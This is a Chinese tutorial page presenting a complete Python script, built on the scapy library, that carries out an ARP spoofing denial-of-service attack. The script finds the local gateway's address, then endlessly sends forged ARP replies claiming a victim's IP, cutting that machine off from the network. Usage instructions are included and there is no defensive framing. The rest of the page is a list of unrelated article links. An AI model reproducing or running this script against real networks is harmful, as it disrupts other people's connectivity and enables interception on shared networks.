python写的ARP攻击代码实例


Posted in Python onJune 04, 2014

注:使用这个脚本需要安装scapy 包
最好在linux平台下使用,因为scapy包在windows上安装老是会有各种问题

#coding:utf-8
#example :sudo  python arp_dos.py  192.168.1.103
from scapy.all import ARP,send
import os,re,sys
def get_gateway_ip():
    t=os.popen('route -n')
    for i in t:
        if i.startswith('0.0.0.0'):
            r=re.split("\s+",i)
            return r[1]
def get_gateway_hw(ip):
    t=os.popen('arp -e %s' % ip)
    for i in t:
        if i.startswith(ip):
            r=re.split("\s+",i)
            return r[2]
def hack(hackip):
    ip=get_gateway_ip()
    hw=get_gateway_hw(ip)
    arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=hackip)
    #os.popen('ifconfig eth0 %s' % hackip )
    while 1:
        send(arp)
def help():
    print ("USEAGE: sudo python arp_dos.py 192.168.1.100")
def main():
    if len(sys.argv) != 2:
        help()
    else:
        hack(sys.argv[1])
if __name__=="__main__":
    main()
Python 相关文章推荐
python实现简单的socket server实例
Apr 29 Python
Django imgareaselect手动剪切头像实现方法
May 26 Python
通过实例浅析Python对比C语言的编程思想差异
Aug 30 Python
解决出现Incorrect integer value: '' for column 'id' at row 1的问题
Oct 29 Python
20个常用Python运维库和模块
Feb 12 Python
django从请求到响应的过程深入讲解
Aug 01 Python
python实现将多个文件分配到多个文件夹的方法
Jan 07 Python
图文详解Django使用Pycharm连接MySQL数据库
Aug 09 Python
ansible-playbook实现自动部署KVM及安装python3的详细教程
May 11 Python
matplotlib 范围选区(SpanSelector)的使用
Feb 24 Python
Python绘制地图神器folium的新人入门指南
May 23 Python
Python图像处理库PIL详细使用说明
Apr 06 Python
python和C语言混合编程实例
Jun 04 #Python
python实现的一个p2p文件传输实例
Jun 04 #Python
python实现文件分组复制到不同目录的例子
Jun 04 #Python
python实现的udp协议Server和Client代码实例
Jun 04 #Python
Python实现同时兼容老版和新版Socket协议的一个简单WebSocket服务器
Jun 04 #Python
Python程序员鲜为人知但你应该知道的17个问题
Jun 04 #Python
Python和Ruby中each循环引用变量问题(一个隐秘BUG?)
Jun 04 #Python
You might like
IP攻击升级,程序改进以对付新的攻击
2010/11/23 PHP
解析func_num_args与func_get_args函数的使用
2013/06/24 PHP
php采集文章中的图片获取替换到本地(实现代码)
2013/07/08 PHP
YII2自动登录Cookie总是失效的解决方法
2017/06/28 PHP
PHP实现动态创建XML文档的方法
2018/03/30 PHP
PHP全局使用Laravel辅助函数dd
2019/12/26 PHP
Aster vs Newbee BO5 第三场2.19
2021/03/10 DOTA
javascript 面向对象全新理练之原型继承
2009/12/03 Javascript
基于jQuery选择器的整理集合
2013/04/26 Javascript
JavaScript极简入门教程(一):基础篇
2014/10/25 Javascript
javascript图片延迟加载实现方法及思路
2015/12/31 Javascript
详细讲解vue2+vuex+axios
2017/05/27 Javascript
bootstrap时间控件daterangepicker使用方法及各种小bug修复
2017/10/25 Javascript
使用Vue的slot插槽分发父组件内容实现高度复用、更加灵活的组件(推荐)
2018/05/01 Javascript
JavaScript中的回调函数实例讲解
2019/01/27 Javascript
有关vue 开发钉钉 H5 微应用 dd.ready() 不执行问题及快速解决方案
2020/05/09 Javascript
vue实现简单的登录弹出框
2020/10/26 Javascript
Python中装饰器的一个妙用
2015/02/08 Python
用Python登录Gmail并发送Gmail邮件的教程
2015/04/17 Python
Python使用bs4获取58同城城市分类的方法
2015/07/08 Python
Python自动化部署工具Fabric的简单上手指南
2016/04/19 Python
Python中顺序表的实现简单代码分享
2018/01/09 Python
对numpy中的transpose和swapaxes函数详解
2018/08/02 Python
浅谈pyqt5在QMainWindow中布局的问题
2019/06/21 Python
Python 实现递归法解决迷宫问题的示例代码
2020/01/12 Python
Python 数据的累加与统计的示例代码
2020/08/03 Python
python中判断文件结束符的具体方法
2020/08/04 Python
ONLY瑞典官网:世界知名服装品牌
2018/06/19 全球购物
含精油的天然有机化妆品:Indemne
2019/08/27 全球购物
温泉秘密:Onsen Secret
2020/07/06 全球购物
应聘医学检验人员自荐信
2013/09/27 职场文书
新疆民族团结演讲稿
2014/08/27 职场文书
优秀教师自我评价范文
2014/09/27 职场文书
Python爬虫实战之爬取京东商品数据并实实现数据可视化
2021/06/07 Python
一文搞懂python异常处理、模块与包
2021/06/26 Python
MySQL 5.7常见数据类型
2021/07/15 MySQL